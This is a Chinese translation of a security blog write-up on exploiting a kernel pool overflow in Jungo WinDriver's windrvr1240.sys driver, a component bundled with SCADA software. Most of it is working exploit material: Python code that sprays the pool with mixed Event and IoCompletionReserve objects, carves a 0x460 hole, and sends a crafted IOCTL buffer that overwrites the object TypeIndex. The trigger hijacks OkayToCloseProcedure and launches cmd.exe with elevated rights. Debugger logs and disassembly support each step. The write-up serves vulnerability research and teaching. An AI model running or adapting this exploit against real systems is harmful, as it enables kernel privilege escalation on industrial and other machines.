安全文库

【技術分享】瓮中之鱉:Windows內核池混合對象利用


【技術分享】瓮中之鱉:Windows內核池混合對象利用

2017-09-19 10:09:18 閱讀:2482次 點贊(0) 收藏 來源: srcincite.io

作者:eridanus96


【技術分享】瓮中之鱉:Windows內核池混合對象利用

譯者:eridanus96

預估稿費:200RMB

投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿

傳送門


【技術分享】Windows內核池噴射

【技術分享】HEVD內核漏洞訓練——陪Windows玩兒

前言


本文主要探討一個基本的內核池溢出漏洞,並研究在通過混合內核對象進行內核池噴射后,如何通過覆蓋TypeIndex來進行滲透的方法。

此前,我參加了AWE系列課程,在課程結束后,我很想找到一些可以利用的內核漏洞。儘管我可以使用HackSys Extreme Vulnerable Driver(HEVD)這個非常棒的學習工具,但我認為,在實際應用中發現並利用漏洞,會讓我更有成就感。

於是,我開始學習如何開發一個Windows內核設備驅動程序的fuzzer,並使用我自己的fuzzer去發現漏洞,這個漏洞就是我藉助自己的fuzzer發現的。希望我的漏洞發現和利用過程能對大家有所幫助。

 

漏洞分析


在測試了一些SCADA(數據採集與監視控制系統)產品后,我發現了一個叫做“WinDriver”的第三方組件,它其實是Jungo的DriverWizard WinDriver,該組件通常捆綁於幾個SCADA應用程序之中,經常能在舊版本中發現它的蹤跡。

在安裝之後,它將一個名為windrvr1240.sys的設備驅動程序安裝到Windows的驅動文件夾內。通過逆向,我找到了幾個ioctl代碼,可以直接插入到我fuzzer的配置文件中。

{      "ioctls_range":{         "start": "0x95380000",         "end": "0x9538ffff"     } }

然後,我通過使用verifier/volatile/flags 0x1/adddriver windrvr1240.sys,啟用了一個特殊的池,並初步嘗試運行了我的fuzzer。隨後,成功發現了幾個可以利用的漏洞,其中一個漏洞引起了我的注意:

kd> .trap 0xffffffffc800f96c ErrCode = 00000002 eax=e4e4e4e4 ebx=8df44ba8 ecx=8df45004 edx=805d2141 esi=f268d599 edi=00000088 eip=9ffbc9e5 esp=c800f9e0 ebp=c800f9ec iopl=0         nv up ei pl nz na pe cy cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010207 windrvr1240+0x199e5: 9ffbc9e5 8941fc          mov     dword ptr [ecx-4],eax ds:0023:8df45000=????????   kd> dd esi+ecx-4 805d2599  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4 805d25a9  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4 805d25b9  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4 805d25c9  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4 805d25d9  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4 805d25e9  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4 805d25f9  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4 805d2609  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4

這是存儲在[esi + ecx]中的用戶控制數據,而它會對超出內核池的部分進行寫入,通過進一步的研究發現,這其實是由loc_4199D8中的內聯賦值操作而導致的池溢出。

.text:0041998E sub_41998E      proc near                    ; CODE XREF: sub_419B7C+3B2 .text:0041998E .text:0041998E arg_0           = dword ptr  8 .text:0041998E arg_4           = dword ptr  0Ch .text:0041998E .text:0041998E                 push    ebp .text:0041998F                 mov     ebp, esp .text:00419991                 push    ebx .text:00419992                 mov     ebx, [ebp+arg_4] .text:00419995                 push    esi .text:00419996                 push    edi .text:00419997                 push    458h                 ; fized size_t +0x8 == 0x460 .text:0041999C                 xor     edi, edi .text:0041999E                 push    edi                  ; int .text:0041999F                 push    ebx                  ; void * .text:004199A0                 call    memset               ; memset our buffer before the overflow .text:004199A5                 mov     edx, [ebp+arg_0]     ; this is the SystemBuffer .text:004199A8                 add     esp, 0Ch .text:004199AB                 mov     eax, [edx] .text:004199AD                 mov     [ebx], eax .text:004199AF                 mov     eax, [edx+4] .text:004199B2                 mov     [ebx+4], eax .text:004199B5                 mov     eax, [edx+8] .text:004199B8                 mov     [ebx+8], eax .text:004199BB                 mov     eax, [edx+10h] .text:004199BE                 mov     [ebx+10h], eax .text:004199C1                 mov     eax, [edx+14h] .text:004199C4                 mov     [ebx+14h], eax .text:004199C7                 mov     eax, [edx+18h]       ; read our controlled size from SystemBuffer .text:004199CA                 mov     [ebx+18h], eax       ; store it in the new kernel buffer .text:004199CD                 test    eax, eax .text:004199CF                 jz      short loc_4199ED .text:004199D1                 mov     esi, edx .text:004199D3                 lea     ecx, [ebx+1Ch]       ; index offset for the first write .text:004199D6                 sub     esi, ebx .text:004199D8 .text:004199D8 loc_4199D8:                                  ; CODE XREF: sub_41998E+5D .text:004199D8                 mov     eax, [esi+ecx]       ; load the first write value from the buffer .text:004199DB                 inc     edi                  ; copy loop index .text:004199DC                 mov     [ecx], eax           ; first dword write .text:004199DE                 lea     ecx, [ecx+8]         ; set the index into our overflown buffer .text:004199E1                 mov     eax, [esi+ecx-4]     ; load the second write value from the buffer .text:004199E5                 mov     [ecx-4], eax         ; second dword write .text:004199E8                 cmp     edi, [ebx+18h]       ; compare against our controlled size .text:004199EB                 jb      short loc_4199D8     ; jump back into loop

負責複製的循環,實際上會為每次循環(qword)複製8個字節,並溢出大小為0x460(0x458 + 0x8字節頭)的緩衝區。複製的大小,直接是攻擊者在輸入緩衝區控制部分的大小。不存在整數溢出,也並沒有將其存儲在不易被找到的地方。我們可以看到,0x004199E8的大小,就是相應緩衝區中,從+0x18偏移量控制部分的大小。這樣一來,利用就變得尤為簡單。

 

漏洞利用


我們可以藉助TypeIndex對象覆蓋的方式來進行這一漏洞的利用,具體來說是使用內核對象,覆蓋存儲在_OBJECT_HEADER中的TypeIndex。更詳細的內容,可以參考文末我引用的文章。

以往我們使用的一些常用對象都是Event對象(大小為0x40)和IoCompletionReserve對象(大小為0x60),常用的利用方式是像這樣:

1.     用大小為X的對象造成池噴射,填滿內存頁;

2.     通過立即釋放內存(free)或減少對象的引用計數(release,不會立即釋放)相鄰的對象,以觸發coalescing,從而達到目標區塊要求的大小(在本例中是0x460);

3.     分配和溢出緩衝區,這樣有一定幾率可以消除下一個對象的_OBJECT_HEADER,從而利用TypeIndex。

舉例來說,如果溢出的緩衝區大小是0x200,就可以分配一組Event對象,並釋放(free)其中的0x8(因為0x40 * 0x8 == 0x200),這樣一來我們就可以在其中進行分配和溢出。所以,我們假設需要的內核對象,是池大小的n次冪。

但問題是,通過這種方式有時並不會有效,例如我們的池大小是0x460,如果我們這樣的話:

>>> 0x460 % 0x40 32 >>> 0x460 % 0x60 64 >>>

結果表明,總會有剩餘的一部分空間,也就是說我們不能使其產生一個特定大小的區塊。後來,我發現有一種方法可以解決該問題,我們可以搜索具有目標緩衝區大小的n次冪的內核對象,並使用這些找到的對象。經過搜尋,我發現了另外兩個內核對象:

# 1 type = "Job" size = 0x168   windll.kernel32.CreateJobObjectW(None, None)   # 2 type = "Timer" size = 0xc8   windll.kernel32.CreateWaitableTimerW(None, 0, None)

然而,這些大小也同樣不能使用,因為它們沒有滿足要求。經過一段時間的測試,我意識到,可以採用這樣的方式:

>>> 0x460 % 0xa0 0 >>>

這樣一來,0xa0就可以均勻地分成幾個0x460,那麼我們再將Event和IoCompletionReserve對象結合起來(0x40 + 0x60 = 0xa0),就能夠實現!

噴射過程


def we_can_spray():     """     Spray the Kernel Pool with IoCompletionReserve and Event Objects.     The IoCompletionReserve object is 0x60 and Event object is 0x40 bytes in length.     These are allocated from the Nonpaged kernel pool.     """     handles = []     IO_COMPLETION_OBJECT = 1     for i in range(0, 25000):         handles.append(windll.kernel32.CreateEventA(0,0,0,0))         hHandle = HANDLE(0)         handles.append(ntdll.NtAllocateReserveObject(byref(hHandle), 0x0, IO_COMPLETION_OBJECT))       # could do with some better validation     if len(handles) > 0:         return True     return False

這個函數可以噴出50000個對象,其中包括25000個Event對象和25000個IoCompletionReserve對象。在WinDBG中,看起來非常炫酷:

kd> !pool 85d1f000 Pool page 85d1f000 region is Nonpaged pool *85d1f000 size:   60 previous size:    0  (Allocated) *IoCo (Protected)         Owning component : Unknown (update pooltag.txt)  85d1f060 size:   60 previous size:   60  (Allocated)  IoCo (Protected)       <--- chunk first allocated in the page  85d1f0c0 size:   40 previous size:   60  (Allocated)  Even (Protected)  85d1f100 size:   60 previous size:   40  (Allocated)  IoCo (Protected)  85d1f160 size:   40 previous size:   60  (Allocated)  Even (Protected) ......  85d1ff60 size:   60 previous size:   40  (Allocated)  IoCo (Protected)  85d1ffc0 size:   40 previous size:   60  (Allocated)  Even (Protected)

構建洞


“IoCo”標誌代表IoCompletionReserve對象,“Even”標誌代表Event對象。請注意,我們第一個區塊的偏移量是0x60,這就是我們開始釋放(free)的偏移量。如果我們釋放一組IoCompletionReserve和Event對象,那麼我們的計算結果便是:

>>> "0x%x" % (0x7 * 0xa0) '0x460' >>>

此時,會產生我們所希望的大小。讓我們迅速來看看如果我們只釋放接下來的7個IoCompletionReserve對象後會怎麼樣:

kd> !pool 85d1f000 Pool page 85d1f000 region is Nonpaged pool *85d1f000 size:   60 previous size:    0  (Allocated) *IoCo (Protected)         Owning component : Unknown (update pooltag.txt)  85d1f060 size:   60 previous size:   60  (Free)       IoCo  85d1f0c0 size:   40 previous size:   60  (Allocated)  Even (Protected)  85d1f100 size:   60 previous size:   40  (Free)       IoCo  85d1f160 size:   40 previous size:   60  (Allocated)  Even (Protected) ......  85d1f420 size:   60 previous size:   40  (Free)       IoCo  85d1f480 size:   40 previous size:   60  (Allocated)  Even (Protected)  85d1f4c0 size:   60 previous size:   40  (Allocated)  IoCo (Protected)  85d1f520  size:      40  previous size:       60    (Allocated)    Even  (Protected) ......  85d1ff60 size:   60 previous size:   40  (Allocated)  IoCo (Protected)  85d1ffc0 size:   40 previous size:   60  (Allocated)  Even (Protected)

可以看出,我們已經擁有很多已被釋放的塊,但它們是各自獨立的。但是,我們仍需要把它們合併成一個0x460的區塊。我們首先將區塊的偏移量設置為0x60(第一個指向0xXXXXY060)。

            bin = []               # object sizes             CreateEvent_size         = 0x40             IoCompletionReserve_size = 0x60             combined_size            = CreateEvent_size + IoCompletionReserve_size               # after the 0x20 chunk hole, the first object will be the IoCompletionReserve object             offset = IoCompletionReserve_size               for i in range(offset, offset + (7 * combined_size), combined_size):                 try:                     # chunks need to be next to each other for the coalesce to take effect                     bin.append(khandlesd[obj + i])                     bin.append(khandlesd[obj + i - IoCompletionReserve_size])                 except KeyError:                     pass               # make sure it's contiguously allocated memory             if len(tuple(bin)) == 14:                 holes.append(tuple(bin))       # make the holes to fill     for hole in holes:         for handle in hole:             kernel32.CloseHandle(handle)

在我們釋放函數的同時,在池中打洞,並獲得我們所期待的釋放塊。

kd> !pool 8674e000 Pool page 8674e000 region is Nonpaged pool *8674e000 size:  460 previous size:    0  (Free)      *Io                       <-- 0x460 chunk is free     Pooltag Io   : general IO allocations, Binary : nt!io  8674e460 size:   60 previous size:  460  (Allocated)  IoCo (Protected)  8674e4c0 size:   40 previous size:   60  (Allocated)  Even (Protected) ......  8674ef60 size:   40 previous size:   60  (Allocated)  Even (Protected)  8674efa0 size:   60 previous size:   40  (Allocated)  IoCo (Protected)

在此時,釋放的區塊已經合併,並且擁有一個完美的大小,接下來就可以進行分配和覆蓋。

對已釋放區塊的分配和覆蓋


def we_can_trigger_the_pool_overflow():     """     This triggers the pool overflow vulnerability using a buffer of size 0x460.     """     GENERIC_READ  = 0x80000000     GENERIC_WRITE = 0x40000000     OPEN_EXISTING = 0x3     DEVICE_NAME   = "////.//WinDrvr1240"     dwReturn      = c_ulong()     driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)     inputbuffer       = 0x41414141     inputbuffer_size  = 0x5000     outputbuffer_size = 0x5000     outputbuffer      = 0x20000000     alloc_pool_overflow_buffer(inputbuffer, inputbuffer_size)     IoStatusBlock = c_ulong()       if driver_handle:         dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle, None, None, None, byref(IoStatusBlock), 0x953824b7,                                                 inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size)         return True     return False

實現溢出


大家可能注意到,在對緩衝區中偏移0x90的利用中,有一個空的dword。

def alloc_pool_overflow_buffer(base, input_size):     """     Craft our special buffer to trigger the overflow.     """     print "(+) allocating pool overflow input buffer"     baseadd   = c_int(base)     size = c_int(input_size)     input  = "/x41" * 0x18                     # offset to size     input += struct.pack("<I", 0x0000008d)     # controlled size (this triggers the overflow)     input += "/x42" * (0x90-len(input))        # padding to survive bsod     input += struct.pack("<I", 0x00000000)     # use a NULL dword for sub_4196CA     input += "/x43" * ((0x460-0x8)-len(input)) # fill our pool buffer

該溢出需要始終存在,並且不能再被處理。下列的代碼可以在複製循環后直接執行:

.text:004199ED loc_4199ED:                                  ; CODE XREF: sub_41998E+41 .text:004199ED                 push    9 .text:004199EF                 pop     ecx .text:004199F0                 lea     eax, [ebx+90h]       ; controlled from the copy .text:004199F6                 push    eax                  ; void * .text:004199F7                 lea     esi, [edx+6Ch]       ; controlled offset .text:004199FA                 lea     eax, [edx+90h]       ; controlled offset .text:00419A00                 lea     edi, [ebx+6Ch]       ; controlled from copy .text:00419A03                 rep movsd .text:00419A05                 push    eax                  ; int .text:00419A06                 call    sub_4196CA           ; call sub_4196CA

值得注意的是,代碼將會調用sub_4196CA。此外還要注意,@eax會成為我們的緩衝區+0x90(0x004199FA)。我們具體看一下這個函數調用:

.text:004196CA sub_4196CA      proc near                    ; CODE XREF: sub_4195A6+1E .text:004196CA                                              ; sub_41998E+78 ... .text:004196CA .text:004196CA arg_0           = dword ptr  8 .text:004196CA arg_4           = dword ptr  0Ch .text:004196CA .text:004196CA                 push    ebp .text:004196CB                 mov     ebp, esp .text:004196CD                 push    ebx .text:004196CE                 mov     ebx, [ebp+arg_4] .text:004196D1                 push    edi .text:004196D2                 push    3C8h                 ; size_t .text:004196D7                 push    0                    ; int .text:004196D9                 push    ebx                  ; void * .text:004196DA                 call    memset .text:004196DF                 mov     edi, [ebp+arg_0]     ; controlled buffer .text:004196E2                 xor     edx, edx .text:004196E4                 add     esp, 0Ch .text:004196E7                 mov     [ebp+arg_4], edx .text:004196EA                 mov     eax, [edi]           ; make sure @eax is null .text:004196EC                 mov     [ebx], eax           ; the write here is fine .text:004196EE                 test    eax, eax .text:004196F0                 jz      loc_4197CB           ; take the jump

該代碼,會從我們在+0x90的SystemBuffer中得到一個dword值,並將其寫入溢出的緩衝區之中,並檢查其是否為空。如果為空,我們就不在這個函數中對其繼續做處理,並且返回。

.text:004197CB loc_4197CB:                                  ; CODE XREF: sub_4196CA+26 .text:004197CB                 pop     edi .text:004197CC                 pop     ebx .text:004197CD                 pop     ebp .text:004197CE                 retn    8

如果不這麼做,在試圖訪問緩衝區中不存在的指針時,很有可能會出現藍屏。

至此,我們就可以毫無顧慮地觸發eop了。關於Shellcode清理,我們溢出的緩衝區存儲在@esi中,所以我們可以計算TypeIndex的偏移量,並對其進行修補。最後,建議將ObjectCreateInfo改為空,因為系統會避免使用這個指針。

打造我們的緩衝區


考慮到在每一次循環時,都會複製0x8字節,並且起始索引是0x1c:

.text:004199D3                 lea     ecx, [ebx+1Ch]       ; index offset for the first write

假設我們希望得到44字節(0x2c)的緩衝區溢出,我們用緩衝區的大小,減去頭部,減去起始索引偏移量,加上想要溢出的字節數,最後將其除以0x8(這是因為每次循環都複製0x8字節)。

(0x460 – 0x8 – 0x1c + 0x2c) / 0x8 = 0x8d

也就是說,0x8d的大小會使緩衝區溢出0x2c(即44字節),並能損壞池的頭部、引用和對象頭。

# repair the allocated chunk header...     input += struct.pack("<I", 0x040c008c)     # _POOL_HEADER     input += struct.pack("<I", 0xef436f49)     # _POOL_HEADER (PoolTag)     input += struct.pack("<I", 0x00000000)     # _OBJECT_HEADER_QUOTA_INFO     input += struct.pack("<I", 0x0000005c)     # _OBJECT_HEADER_QUOTA_INFO     input += struct.pack("<I", 0x00000000)     # _OBJECT_HEADER_QUOTA_INFO     input += struct.pack("<I", 0x00000000)     # _OBJECT_HEADER_QUOTA_INFO     input += struct.pack("<I", 0x00000001)     # _OBJECT_HEADER (PointerCount)     input += struct.pack("<I", 0x00000001)     # _OBJECT_HEADER (HandleCount)     input += struct.pack("<I", 0x00000000)     # _OBJECT_HEADER (Lock)     input += struct.pack("<I", 0x00080000)     # _OBJECT_HEADER (TypeIndex)     input += struct.pack("<I", 0x00000000)     # _OBJECT_HEADER (ObjectCreateInfo)

當我們將到0x00080000(實際上是較小的一個值)的TypeIndex為null。這意味着,函數表會指向0x0,並且我們可以映射空頁。

kd> dd nt!ObTypeIndexTable L2 82b7dee0  00000000 bad0b0b0

請注意,這裡的第二個索引是0xbad0b0b0。這樣的方法同樣可以用於x64系統。

觸發內核中的代碼執行


在觸發了溢出后,它存活了下來。但為了獲得eop,我們需要設置一個指向0x00000074的指針,以利用OkayToCloseProcedure函數指針。

kd> dt nt!_OBJECT_TYPE name 84fc8040    +0x008 Name : _UNICODE_STRING "IoCompletionReserve" kd> dt nt!_OBJECT_TYPE 84fc8040 .    +0x000 TypeList         :  [ 0x84fc8040 - 0x84fc8040 ]       +0x000 Flink            : 0x84fc8040 _LIST_ENTRY [ 0x84fc8040 - 0x84fc8040 ]       +0x004 Blink            : 0x84fc8040 _LIST_ENTRY [ 0x84fc8040 - 0x84fc8040 ]    +0x008 Name             :  "IoCompletionReserve"       +0x000 Length           : 0x26       +0x002 MaximumLength    : 0x28       +0x004 Buffer           : 0x88c01090  "IoCompletionReserve"    +0x010 DefaultObject    :    +0x014 Index            : 0x0 ''                <--- TypeIndex is 0x0    +0x018 TotalNumberOfObjects : 0x61a9    +0x01c TotalNumberOfHandles : 0x61a9    +0x020 HighWaterNumberOfObjects : 0x61a9    +0x024 HighWaterNumberOfHandles : 0x61a9    +0x028 TypeInfo         :                       <-- TypeInfo is offset 0x28 from 0x0       +0x000 Length           : 0x50       +0x002 ObjectTypeFlags  : 0x2 ''       +0x002 CaseInsensitive  : 0y0       +0x002 UnnamedObjectsOnly : 0y1       +0x002 UseDefaultObject : 0y0       +0x002 SecurityRequired : 0y0       +0x002 MaintainHandleCount : 0y0       +0x002 MaintainTypeList : 0y0       +0x002 SupportsObjectCallbacks : 0y0       +0x002 CacheAligned     : 0y0       +0x004 ObjectTypeCode   : 0       +0x008 InvalidAttributes : 0xb0       +0x00c GenericMapping   : _GENERIC_MAPPING       +0x01c ValidAccessMask  : 0xf0003       +0x020 RetainAccess     : 0       +0x024 PoolType         : 0 ( NonPagedPool )       +0x028 DefaultPagedPoolCharge : 0       +0x02c DefaultNonPagedPoolCharge : 0x5c       +0x030 DumpProcedure    : (null)       +0x034 OpenProcedure    : (null)       +0x038 CloseProcedure   : (null)       +0x03c DeleteProcedure  : (null)       +0x040 ParseProcedure   : (null)       +0x044 SecurityProcedure : 0x82cb02ac        long  nt!SeDefaultObjectMethod+0       +0x048 QueryNameProcedure : (null)       +0x04c OkayToCloseProcedure : (null)         <--- OkayToCloseProcedure is offset 0x4c from 0x0    +0x078 TypeLock         :       +0x000 Locked           : 0y0       +0x000 Waiting          : 0y0       +0x000 Waking           : 0y0       +0x000 MultipleShared   : 0y0       +0x000 Shared           : 0y0000000000000000000000000000 (0)       +0x000 Value            : 0       +0x000 Ptr              : (null)    +0x07c Key              : 0x6f436f49    +0x080 CallbackList     :  [ 0x84fc80c0 - 0x84fc80c0 ]       +0x000 Flink            : 0x84fc80c0 _LIST_ENTRY [ 0x84fc80c0 - 0x84fc80c0 ]       +0x004 Blink            : 0x84fc80c0 _LIST_ENTRY [ 0x84fc80c0 - 0x84fc80c0 ]

這樣,0x28 + 0x4c = 0x74便是我們的指針需要指向的位置。但是OkayToCloseProcedure是如何調用的呢?經過研究發現,這是一個註冊的aexit handler。所以,為了觸發代碼的執行,我們只需要釋放損壞的IoCompletionReserve。我們並不清楚句柄是與哪一個溢出塊相關聯,所以我們乾脆全部釋放它們。

def trigger_lpe():     """     This function frees the IoCompletionReserve objects and this triggers the     registered aexit, which is our controlled pointer to OkayToCloseProcedure.     """     # free the corrupted chunk to trigger OkayToCloseProcedure     for k, v in khandlesd.iteritems():         kernel32.CloseHandle(v)     os.system("cmd.exe")

最後,我們最終成功實現,如圖所示:

【技術分享】瓮中之鱉:Windows內核池混合對象利用

參考文章


https://github.com/hacksysteam/HackSysExtremeVulnerableDriver 

http://www.fuzzysecurity.com/tutorials/expDev/20.html 

https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-Slides.pdf 

https://msdn.microsoft.com/en-us/library/windows/desktop/ms724485(v=vs.85).aspx 

https://www.exploit-db.com/exploits/34272 


【技術分享】瓮中之鱉:Windows內核池混合對象利用 【技術分享】瓮中之鱉:Windows內核池混合對象利用

本文由 安全客 翻譯,轉載請註明“轉自安全客”,並附上鏈接。
原文鏈接:http://srcincite.io/blog/2017/09/06/sharks-in-the-pool-mixed-object-exploitation-in-the-windows-kernel-pool.html